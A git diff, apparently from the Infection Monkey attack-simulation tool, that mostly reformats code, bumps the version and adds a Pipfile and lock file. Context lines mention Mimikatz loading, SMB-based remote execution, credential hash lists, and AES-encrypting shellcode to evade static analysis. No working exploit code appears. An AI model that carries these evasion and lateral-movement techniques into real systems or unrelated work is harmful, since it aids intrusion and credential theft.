+LOCAL_NETWORK_SCAN_PATH = ["basic_network", "scope", "local_network_scan"]
+LM_HASH_LIST_PATH = ["internal", "exploits", "exploit_lm_hash_list"]
+NTLM_HASH_LIST_PATH = ["internal", "exploits", "exploit_ntlm_hash_list"]
+PBA_LINUX_FILENAME_PATH = ["monkey", "post_breach", "PBA_linux_filename"]
+PBA_WINDOWS_FILENAME_PATH = ["monkey", "post_breach", "PBA_windows_filename"]
diff --git a/monkey/common/network/__init__.py b/monkey/common/network/__init__.py
index ee5b79ad0..e69de29bb 100644
--- a/monkey/common/network/__init__.py
+++ b/monkey/common/network/__init__.py
@@ -1 +0,0 @@
-__author__ = 'itay.mizeretz'
diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py
index 7eb082c8f..ca8b49b1b 100644
--- a/monkey/common/network/network_range.py
+++ b/monkey/common/network/network_range.py
@@ -5,8 +5,6 @@ import socket
import struct
from abc import ABCMeta, abstractmethod
-__author__ = 'itamar'
-
LOG = logging.getLogger(__name__)
@@ -48,14 +46,14 @@ class NetworkRange(object, metaclass=ABCMeta):
address_str = address_str.strip()
if NetworkRange.check_if_range(address_str):
return IpRange(ip_range=address_str)
- if -1 != address_str.find('/'):
+ if -1 != address_str.find("/"):
return CidrRange(cidr_range=address_str)
return SingleIpRange(ip_address=address_str)
@staticmethod
def check_if_range(address_str):
- if -1 != address_str.find('-'):
- ips = address_str.split('-')
+ if -1 != address_str.find("-"):
+ ips = address_str.split("-")
try:
ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1])
except ValueError:
@@ -85,28 +83,36 @@ class CidrRange(NetworkRange):
return ipaddress.ip_address(ip_address) in self._ip_network
def _get_range(self):
- return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address]
+ return [
+ CidrRange._ip_to_number(str(x))
+ for x in self._ip_network
+ if x != self._ip_network.broadcast_address
+ ]
class IpRange(NetworkRange):
def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True):
super(IpRange, self).__init__(shuffle=shuffle)
if ip_range is not None:
- addresses = ip_range.split('-')
+ addresses = ip_range.split("-")
if len(addresses) != 2:
- raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range)
+ raise ValueError(
+ "Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range
+ )
self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses]
elif (lower_end_ip is not None) and (higher_end_ip is not None):
self._lower_end_ip = lower_end_ip.strip()
self._higher_end_ip = higher_end_ip.strip()
else:
- raise ValueError('Illegal IP range: %s' % ip_range)
+ raise ValueError("Illegal IP range: %s" % ip_range)
self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip)
self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip)
if self._higher_end_ip_num < self._lower_end_ip_num:
raise ValueError(
- 'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip))
+ "Higher end IP %s is smaller than lower end IP %s"
+ % (self._lower_end_ip, self._higher_end_ip)
+ )
def __repr__(self):
return "
" % (self._lower_end_ip, self._higher_end_ip)
@@ -151,12 +157,13 @@ class SingleIpRange(NetworkRange):
@staticmethod
def string_to_host(string_):
"""
- Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip
+ Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name
+ and ip
:param string_: String that was entered in "Scan IP/subnet list"
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
"""
# The most common use case is to enter ip/range into "Scan IP/subnet list"
- domain_name = ''
+ domain_name = ""
# Try casting user's input as IP
try:
@@ -167,8 +174,10 @@ class SingleIpRange(NetworkRange):
ip = socket.gethostbyname(string_)
domain_name = string_
except socket.error:
- LOG.error("Your specified host: {} is not found as a domain name and"
- " it's not an IP address".format(string_))
+ LOG.error(
+ "Your specified host: {} is not found as a domain name and"
+ " it's not an IP address".format(string_)
+ )
return None, string_
# If a string_ was entered instead of IP we presume that it was domain name and translate it
return ip, domain_name
diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py
index e99d0cf2b..2b01d1974 100644
--- a/monkey/common/network/network_utils.py
+++ b/monkey/common/network/network_utils.py
@@ -4,8 +4,10 @@ from urllib.parse import urlparse
def get_host_from_network_location(network_location: str) -> str:
"""
- URL structure is ":///;?#" (https://tools.ietf.org/html/rfc1808.html)
- And the net_loc is ":@:" (https://tools.ietf.org/html/rfc1738#section-3.1)
+ URL structure is ":///;?#" (
+ https://tools.ietf.org/html/rfc1808.html)
+ And the net_loc is ":@:" (
+ https://tools.ietf.org/html/rfc1738#section-3.1)
:param network_location: server network location
:return: host part of the network location
"""
@@ -15,6 +17,6 @@ def get_host_from_network_location(network_location: str) -> str:
def remove_port(url):
parsed = urlparse(url)
- with_port = f'{parsed.scheme}://{parsed.netloc}'
- without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port)
+ with_port = f"{parsed.scheme}://{parsed.netloc}"
+ without_port = re.sub(":[0-9]+(?=$|/)", "", with_port)
return without_port
diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py
index 9bbaabf1d..d48c005cb 100644
--- a/monkey/common/network/segmentation_utils.py
+++ b/monkey/common/network/segmentation_utils.py
@@ -14,8 +14,10 @@ def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
def get_ip_if_in_subnet(ip_addresses, subnet):
"""
:param ip_addresses: IP address list.
- :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange
- :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None.
+ :param subnet: Subnet to check if one of ip_addresses is in there. This is
+ common.network.network_range.NetworkRange
+ :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise
+ returns None.
"""
for ip_address in ip_addresses:
if subnet.is_in_range(ip_address):
diff --git a/monkey/common/network/test_segmentation_utils.py b/monkey/common/network/test_segmentation_utils.py
deleted file mode 100644
index 1bb3d0484..000000000
--- a/monkey/common/network/test_segmentation_utils.py
+++ /dev/null
@@ -1,28 +0,0 @@
-from common.network.network_range import CidrRange
-from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
-
-
-class TestSegmentationUtils:
- def test_get_ip_in_src_and_not_in_dst(self):
- source = CidrRange("1.1.1.0/24")
- target = CidrRange("2.2.2.0/24")
-
- # IP not in both
- assert get_ip_in_src_and_not_in_dst(
- ["3.3.3.3", "4.4.4.4"], source, target
- ) is None
-
- # IP not in source, in target
- assert (get_ip_in_src_and_not_in_dst(
- ["2.2.2.2"], source, target
- )) is None
-
- # IP in source, not in target
- assert (get_ip_in_src_and_not_in_dst(
- ["8.8.8.8", "1.1.1.1"], source, target
- ))
-
- # IP in both subnets
- assert (get_ip_in_src_and_not_in_dst(
- ["8.8.8.8", "1.1.1.1"], source, source
- )) is None
diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py
index 0eadbedcc..ef1cba65f 100644
--- a/monkey/common/utils/attack_utils.py
+++ b/monkey/common/utils/attack_utils.py
@@ -13,26 +13,32 @@ class ScanStatus(Enum):
class UsageEnum(Enum):
- SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
- ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."}
- MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
- ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."}
- MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
- ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."}
- DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
- SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.",
- ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
- " for monkey process wasn't successful."}
- DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
+ SMB = {
+ ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
+ ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service "
+ "via MS-SCMR.",
+ }
+ MIMIKATZ = {
+ ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
+ ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed.",
+ }
+ MIMIKATZ_WINAPI = {
+ ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
+ ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz.",
+ }
+ DROPPER = {
+ ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."
+ }
+ SINGLETON_WINAPI = {
+ ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's "
+ "process.",
+ ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
+ " for monkey process wasn't successful.",
+ }
+ DROPPER_WINAPI = {
+ ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."
+ }
# Dict that describes what BITS job was used for
BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."
-
-
-def format_time(time):
- return "%s-%s %s:%s:%s" % (time.date().month,
- time.date().day,
- time.time().hour,
- time.time().minute,
- time.time().second)
diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py
index 8396b423b..df40f3007 100644
--- a/monkey/common/utils/exceptions.py
+++ b/monkey/common/utils/exceptions.py
@@ -52,3 +52,7 @@ class FindingWithoutDetailsError(Exception):
class DomainControllerNameFetchError(FailedExploitationError):
""" Raise on failed attempt to extract domain controller's name """
+
+
+class InvalidConfigurationError(Exception):
+ """ Raise when configuration is invalid """
diff --git a/monkey/common/utils/exploit_enum.py b/monkey/common/utils/exploit_enum.py
index 3aff53121..daac36e1b 100644
--- a/monkey/common/utils/exploit_enum.py
+++ b/monkey/common/utils/exploit_enum.py
@@ -3,5 +3,4 @@ from enum import Enum
class ExploitType(Enum):
VULNERABILITY = 1
- OTHER = 8
BRUTE_FORCE = 9
diff --git a/monkey/common/utils/file_utils.py b/monkey/common/utils/file_utils.py
new file mode 100644
index 000000000..fd2c85ec1
--- /dev/null
+++ b/monkey/common/utils/file_utils.py
@@ -0,0 +1,23 @@
+import hashlib
+import os
+from pathlib import Path
+
+
+class InvalidPath(Exception):
+ pass
+
+
+def expand_path(path: str) -> Path:
+ if not path:
+ raise InvalidPath("Empty path provided")
+
+ return Path(os.path.expandvars(os.path.expanduser(path)))
+
+
+def get_file_sha256_hash(filepath: Path):
+ sha256 = hashlib.sha256()
+ with open(filepath, "rb") as f:
+ for block in iter(lambda: f.read(65536), b""):
+ sha256.update(block)
+
+ return sha256.hexdigest()
diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py
index 66f606473..4a3703816 100644
--- a/monkey/common/utils/mongo_utils.py
+++ b/monkey/common/utils/mongo_utils.py
@@ -1,14 +1,11 @@
import sys
-if sys.platform == 'win32':
+if sys.platform == "win32":
import win32com
import wmi
-__author__ = 'maor.rayzin'
-
class MongoUtils:
-
def __init__(self):
# Static class
pass
@@ -35,14 +32,17 @@ class MongoUtils:
try:
# objectSid property of ds_user is problematic and need this special treatment.
# ISWbemObjectEx interface. Class Uint8Array ?
- if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}":
+ if (
+ str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid)
+ == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}"
+ ):
return o.Value
- except:
+ except Exception:
pass
try:
return o.GetObjectText_()
- except:
+ except Exception:
pass
return repr(o)
diff --git a/monkey/common/utils/shellcode_obfuscator.py b/monkey/common/utils/shellcode_obfuscator.py
index 4e4c2ed3d..11635201e 100644
--- a/monkey/common/utils/shellcode_obfuscator.py
+++ b/monkey/common/utils/shellcode_obfuscator.py
@@ -9,8 +9,8 @@ from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413
# We only encrypt payloads to hide them from static analysis
# it's OK to have these keys plaintext
-KEY = b'1234567890123456'
-NONCE = b'\x93n2\xbc\xf5\x8d:\xc2fP\xabn\x02\xb3\x17f'
+KEY = b"1234567890123456"
+NONCE = b"\x93n2\xbc\xf5\x8d:\xc2fP\xabn\x02\xb3\x17f"
# Use this manually to get obfuscated bytes of shellcode
diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py
index fc82663cb..25a2962f4 100644
--- a/monkey/common/utils/wmi_utils.py
+++ b/monkey/common/utils/wmi_utils.py
@@ -8,11 +8,8 @@ if sys.platform.startswith("win"):
from .mongo_utils import MongoUtils
-__author__ = 'maor.rayzin'
-
class WMIUtils:
-
def __init__(self):
# Static class
pass
diff --git a/monkey/common/version.py b/monkey/common/version.py
index 5e8dd4bf4..85a263be0 100644
--- a/monkey/common/version.py
+++ b/monkey/common/version.py
@@ -1,9 +1,10 @@
-# To get the version from shell, run `python ./version.py` (see `python ./version.py -h` for details).
+# To get the version from shell, run `python ./version.py` (see `python ./version.py -h` for
+# details).
import argparse
from pathlib import Path
MAJOR = "1"
-MINOR = "10"
+MINOR = "11"
PATCH = "0"
build_file_path = Path(__file__).parent.joinpath("BUILD")
with open(build_file_path, "r") as build_file:
@@ -16,10 +17,12 @@ def get_version(build=BUILD):
def print_version():
parser = argparse.ArgumentParser()
- parser.add_argument("-b", "--build", default=BUILD, help="Choose the build string for this version.", type=str)
+ parser.add_argument(
+ "-b", "--build", default=BUILD, help="Choose the build string for this version.", type=str
+ )
args = parser.parse_args()
print(get_version(args.build))
-if __name__ == '__main__':
+if __name__ == "__main__":
print_version()
diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile
new file mode 100644
index 000000000..6bf9f2814
--- /dev/null
+++ b/monkey/infection_monkey/Pipfile
@@ -0,0 +1,36 @@
+[[source]]
+url = "https://pypi.org/simple"
+verify_ssl = true
+name = "pypi"
+
+[packages]
+altgraph = "*"
+cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography
+cffi = ">=1.14"
+ecdsa = "==0.15"
+pyinstaller = {git = "git://github.com/guardicore/pyinstaller"}
+pyinstaller-hooks-contrib = "==2021.1"
+impacket = ">=0.9"
+importlib-metadata = "==4.0.1"
+ipaddress = ">=1.0.23"
+netifaces = ">=0.10.9"
+odict = "==1.7.0"
+paramiko = ">=2.7.1"
+psutil = ">=5.7.0"
+pycryptodome = "==3.9.8"
+pyftpdlib = "==1.5.6"
+pymssql = "==2.1.5"
+pypykatz = "==0.3.12"
+pysmb = "==1.2.5"
+requests = ">=2.24"
+urllib3 = "==1.25.8"
+simplejson = "*"
+"WinSys-3.x" = ">=0.5.2"
+WMI = {version = "==1.5.1", sys_platform = "== 'win32'"}
+ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"}
+pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl
+
+[dev-packages]
+
+[requires]
+python_version = "3.7"
diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock
new file mode 100644
index 000000000..eb7c6fb2b
--- /dev/null
+++ b/monkey/infection_monkey/Pipfile.lock
@@ -0,0 +1,955 @@
+{
+ "_meta": {
+ "hash": {
+ "sha256": "1c464331fa9697084cb9fac3a2f6cf5fca45fa63c528928318f1031acd0f5eff"
+ },
+ "pipfile-spec": 6,
+ "requires": {
+ "python_version": "3.7"
+ },
+ "sources": [
+ {
+ "name": "pypi",
+ "url": "https://pypi.org/simple",
+ "verify_ssl": true
+ }
+ ]
+ },
+ "default": {
+ "aiowinreg": {
+ "hashes": [
+ "sha256:096663ec3db35fdc7ccc1c2d0d64a11cf64f4baa48955088e42b6a649ce418a5",
+ "sha256:2947556c73975f51fd8154e7242f36a508cd4eaca5f919c06916cb0e331a0733"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==0.0.5"
+ },
+ "altgraph": {
+ "hashes": [
+ "sha256:1f05a47122542f97028caf78775a095fbe6a2699b5089de8477eb583167d69aa",
+ "sha256:c623e5f3408ca61d4016f23a681b9adb100802ca3e3da5e718915a9e4052cebe"
+ ],
+ "index": "pypi",
+ "version": "==0.17"
+ },
+ "asn1crypto": {
+ "hashes": [
+ "sha256:4bcdf33c861c7d40bdcd74d8e4dd7661aac320fcdf40b9a3f95b4ee12fde2fa8",
+ "sha256:f4f6e119474e58e04a2b1af817eb585b4fd72bdd89b998624712b5c99be7641c"
+ ],
+ "version": "==1.4.0"
+ },
+ "asyncio-throttle": {
+ "hashes": [
+ "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe"
+ ],
+ "markers": "python_version >= '3.5'",
+ "version": "==0.1.1"
+ },
+ "asysocks": {
+ "hashes": [
+ "sha256:6dc794b3ce4a254472d9c234ddda9341f8b9893dbd4254318be8897b491e66a6",
+ "sha256:ec4cd200b009731f013475f8e0579e8923d17137bd5051d743822848ac4c53cc"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==0.1.1"
+ },
+ "bcrypt": {
+ "hashes": [
+ "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29",
+ "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7",
+ "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34",
+ "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55",
+ "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6",
+ "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1",
+ "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==3.2.0"
+ },
+ "boto3": {
+ "hashes": [
+ "sha256:0ab5afc51461c30f27aebef944211d16f47697b98ff8d2e2f6e49e59584853bb",
+ "sha256:77ea9ff6ce1d4a64839c358a713be80256584f478289a13562d1e0c1b9c362cc"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'",
+ "version": "==1.17.97"
+ },
+ "botocore": {
+ "hashes": [
+ "sha256:000cf4a3670ab47e14ddb5bd68fe050c6136029a478cf0b18a78779897d4175c",
+ "sha256:f7e119cf3e0f4a36100f0e983583afa91a84fb27c479a1716820aee4f2e190ab"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'",
+ "version": "==1.20.97"
+ },
+ "certifi": {
+ "hashes": [
+ "sha256:2bbf76fd432960138b3ef6dda3dde0544f27cbf8546c458e60baf371917ba9ee",
+ "sha256:50b1e4f8446b06f41be7dd6338db18e0990601dce795c2b1686458aa7e8fa7d8"
+ ],
+ "version": "==2021.5.30"
+ },
+ "cffi": {
+ "hashes": [
+ "sha256:005a36f41773e148deac64b08f233873a4d0c18b053d37da83f6af4d9087b813",
+ "sha256:04c468b622ed31d408fea2346bec5bbffba2cc44226302a0de1ade9f5ea3d373",
+ "sha256:06d7cd1abac2ffd92e65c0609661866709b4b2d82dd15f611e602b9b188b0b69",
+ "sha256:06db6321b7a68b2bd6df96d08a5adadc1fa0e8f419226e25b2a5fbf6ccc7350f",
+ "sha256:0857f0ae312d855239a55c81ef453ee8fd24136eaba8e87a2eceba644c0d4c06",
+ "sha256:0f861a89e0043afec2a51fd177a567005847973be86f709bbb044d7f42fc4e05",
+ "sha256:1071534bbbf8cbb31b498d5d9db0f274f2f7a865adca4ae429e147ba40f73dea",
+ "sha256:158d0d15119b4b7ff6b926536763dc0714313aa59e320ddf787502c70c4d4bee",
+ "sha256:1bf1ac1984eaa7675ca8d5745a8cb87ef7abecb5592178406e55858d411eadc0",
+ "sha256:1f436816fc868b098b0d63b8920de7d208c90a67212546d02f84fe78a9c26396",
+ "sha256:24a570cd11895b60829e941f2613a4f79df1a27344cbbb82164ef2e0116f09c7",
+ "sha256:24ec4ff2c5c0c8f9c6b87d5bb53555bf267e1e6f70e52e5a9740d32861d36b6f",
+ "sha256:2894f2df484ff56d717bead0a5c2abb6b9d2bf26d6960c4604d5c48bbc30ee73",
+ "sha256:29314480e958fd8aab22e4a58b355b629c59bf5f2ac2492b61e3dc06d8c7a315",
+ "sha256:293e7ea41280cb28c6fcaaa0b1aa1f533b8ce060b9e701d78511e1e6c4a1de76",
+ "sha256:34eff4b97f3d982fb93e2831e6750127d1355a923ebaeeb565407b3d2f8d41a1",
+ "sha256:35f27e6eb43380fa080dccf676dece30bef72e4a67617ffda586641cd4508d49",
+ "sha256:3c3f39fa737542161d8b0d680df2ec249334cd70a8f420f71c9304bd83c3cbed",
+ "sha256:3d3dd4c9e559eb172ecf00a2a7517e97d1e96de2a5e610bd9b68cea3925b4892",
+ "sha256:43e0b9d9e2c9e5d152946b9c5fe062c151614b262fda2e7b201204de0b99e482",
+ "sha256:48e1c69bbacfc3d932221851b39d49e81567a4d4aac3b21258d9c24578280058",
+ "sha256:51182f8927c5af975fece87b1b369f722c570fe169f9880764b1ee3bca8347b5",
+ "sha256:58e3f59d583d413809d60779492342801d6e82fefb89c86a38e040c16883be53",
+ "sha256:5de7970188bb46b7bf9858eb6890aad302577a5f6f75091fd7cdd3ef13ef3045",
+ "sha256:65fa59693c62cf06e45ddbb822165394a288edce9e276647f0046e1ec26920f3",
+ "sha256:681d07b0d1e3c462dd15585ef5e33cb021321588bebd910124ef4f4fb71aef55",
+ "sha256:69e395c24fc60aad6bb4fa7e583698ea6cc684648e1ffb7fe85e3c1ca131a7d5",
+ "sha256:6c97d7350133666fbb5cf4abdc1178c812cb205dc6f41d174a7b0f18fb93337e",
+ "sha256:6e4714cc64f474e4d6e37cfff31a814b509a35cb17de4fb1999907575684479c",
+ "sha256:72d8d3ef52c208ee1c7b2e341f7d71c6fd3157138abf1a95166e6165dd5d4369",
+ "sha256:8ae6299f6c68de06f136f1f9e69458eae58f1dacf10af5c17353eae03aa0d827",
+ "sha256:8b198cec6c72df5289c05b05b8b0969819783f9418e0409865dac47288d2a053",
+ "sha256:99cd03ae7988a93dd00bcd9d0b75e1f6c426063d6f03d2f90b89e29b25b82dfa",
+ "sha256:9cf8022fb8d07a97c178b02327b284521c7708d7c71a9c9c355c178ac4bbd3d4",
+ "sha256:9de2e279153a443c656f2defd67769e6d1e4163952b3c622dcea5b08a6405322",
+ "sha256:9e93e79c2551ff263400e1e4be085a1210e12073a31c2011dbbda14bda0c6132",
+ "sha256:9ff227395193126d82e60319a673a037d5de84633f11279e336f9c0f189ecc62",
+ "sha256:a465da611f6fa124963b91bf432d960a555563efe4ed1cc403ba5077b15370aa",
+ "sha256:ad17025d226ee5beec591b52800c11680fca3df50b8b29fe51d882576e039ee0",
+ "sha256:afb29c1ba2e5a3736f1c301d9d0abe3ec8b86957d04ddfa9d7a6a42b9367e396",
+ "sha256:b85eb46a81787c50650f2392b9b4ef23e1f126313b9e0e9013b35c15e4288e2e",
+ "sha256:bb89f306e5da99f4d922728ddcd6f7fcebb3241fc40edebcb7284d7514741991",
+ "sha256:cbde590d4faaa07c72bf979734738f328d239913ba3e043b1e98fe9a39f8b2b6",
+ "sha256:cc5a8e069b9ebfa22e26d0e6b97d6f9781302fe7f4f2b8776c3e1daea35f1adc",
+ "sha256:cd2868886d547469123fadc46eac7ea5253ea7fcb139f12e1dfc2bbd406427d1",
+ "sha256:d42b11d692e11b6634f7613ad8df5d6d5f8875f5d48939520d351007b3c13406",
+ "sha256:df5052c5d867c1ea0b311fb7c3cd28b19df469c056f7fdcfe88c7473aa63e333",
+ "sha256:f2d45f97ab6bb54753eab54fffe75aaf3de4ff2341c9daee1987ee1837636f1d",
+ "sha256:fd78e5fee591709f32ef6edb9a015b4aa1a5022598e36227500c8f4e02328d9c"
+ ],
+ "index": "pypi",
+ "version": "==1.14.5"
+ },
+ "chardet": {
+ "hashes": [
+ "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa",
+ "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
+ "version": "==4.0.0"
+ },
+ "cheroot": {
+ "hashes": [
+ "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c",
+ "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==8.5.2"
+ },
+ "cherrypy": {
+ "hashes": [
+ "sha256:56608edd831ad00991ae585625e0206ed61cf1a0850e4b2cc48489fb2308c499",
+ "sha256:c0a7283f02a384c112a0a18404fd3abd849fc7fd4bec19378067150a2573d2e4"
+ ],
+ "markers": "python_version >= '3.5'",
+ "version": "==18.6.0"
+ },
+ "cherrypy-cors": {
+ "hashes": [
+ "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5",
+ "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513"
+ ],
+ "markers": "python_version >= '2.7'",
+ "version": "==1.6"
+ },
+ "click": {
+ "hashes": [
+ "sha256:8c04c11192119b1ef78ea049e0a6f0463e4c48ef00a30160c704337586f3ad7a",
+ "sha256:fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==8.0.1"
+ },
+ "coloredlogs": {
+ "hashes": [
+ "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8",
+ "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36"
+ ],
+ "version": "==10.0"
+ },
+ "cryptography": {
+ "hashes": [
+ "sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af",
+ "sha256:06826e7f72d1770e186e9c90e76b4f84d90cdb917b47ff88d8dc59a7b10e2b1e",
+ "sha256:08b753df3672b7066e74376f42ce8fc4683e4fd1358d34c80f502e939ee944d2",
+ "sha256:2cd29bd1911782baaee890544c653bb03ec7d95ebeb144d714b0f5c33deb55c7",
+ "sha256:31e5637e9036d966824edaa91bf0aa39dc6f525a1c599f39fd5c50340264e079",
+ "sha256:42fad67d7072216a49e34f923d8cbda9edacbf6633b19a79655e88a1b4857063",
+ "sha256:4946b67235b9d2ea7d31307be9d5ad5959d6c4a8f98f900157b47abddf698401",
+ "sha256:522fdb2809603ee97a4d0ef2f8d617bc791eb483313ba307cb9c0a773e5e5695",
+ "sha256:6f841c7272645dd7c65b07b7108adfa8af0aaea57f27b7f59e01d41f75444c85",
+ "sha256:7d335e35306af5b9bc0560ca39f740dfc8def72749645e193dd35be11fb323b3",
+ "sha256:8504661ffe324837f5c4607347eeee4cf0fcad689163c6e9c8d3b18cf1f4a4ad",
+ "sha256:9260b201ce584d7825d900c88700aa0bd6b40d4ebac7b213857bd2babee9dbca",
+ "sha256:9a30384cc402eac099210ab9b8801b2ae21e591831253883decdb4513b77a3cd",
+ "sha256:9e29af877c29338f0cab5f049ccc8bd3ead289a557f144376c4fbc7d1b98914f",
+ "sha256:ab50da871bc109b2d9389259aac269dd1b7c7413ee02d06fe4e486ed26882159",
+ "sha256:b13c80b877e73bcb6f012813c6f4a9334fcf4b0e96681c5a15dac578f2eedfa0",
+ "sha256:bfe66b577a7118e05b04141f0f1ed0959552d45672aa7ecb3d91e319d846001e",
+ "sha256:e091bd424567efa4b9d94287a952597c05d22155a13716bf5f9f746b9dc906d3",
+ "sha256:fa2b38c8519c5a3aa6e2b4e1cf1a549b54acda6adb25397ff542068e73d1ed00"
+ ],
+ "index": "pypi",
+ "version": "==2.5"
+ },
+ "dnspython": {
+ "hashes": [
+ "sha256:95d12f6ef0317118d2a1a6fc49aac65ffec7eb8087474158f42f26a639135216",
+ "sha256:e4a87f0b573201a0f3727fa18a516b055fd1107e0e5477cded4a2de497df1dd4"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==2.1.0"
+ },
+ "ecdsa": {
+ "hashes": [
+ "sha256:867ec9cf6df0b03addc8ef66b56359643cb5d0c1dc329df76ba7ecfe256c8061",
+ "sha256:8f12ac317f8a1318efa75757ef0a651abe12e51fc1af8838fb91079445227277"
+ ],
+ "index": "pypi",
+ "version": "==0.15"
+ },
+ "flask": {
+ "hashes": [
+ "sha256:1c4c257b1892aec1398784c63791cbaa43062f1f7aeb555c4da961b20ee68f55",
+ "sha256:a6209ca15eb63fc9385f38e452704113d679511d9574d09b2cf9183ae7d20dc9"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==2.0.1"
+ },
+ "future": {
+ "hashes": [
+ "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d"
+ ],
+ "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==0.18.2"
+ },
+ "httpagentparser": {
+ "hashes": [
+ "sha256:ef763d31993dd761825acee6c8b34be32b95cf1675d1c73c3cd35f9e52831b26"
+ ],
+ "version": "==1.9.1"
+ },
+ "humanfriendly": {
+ "hashes": [
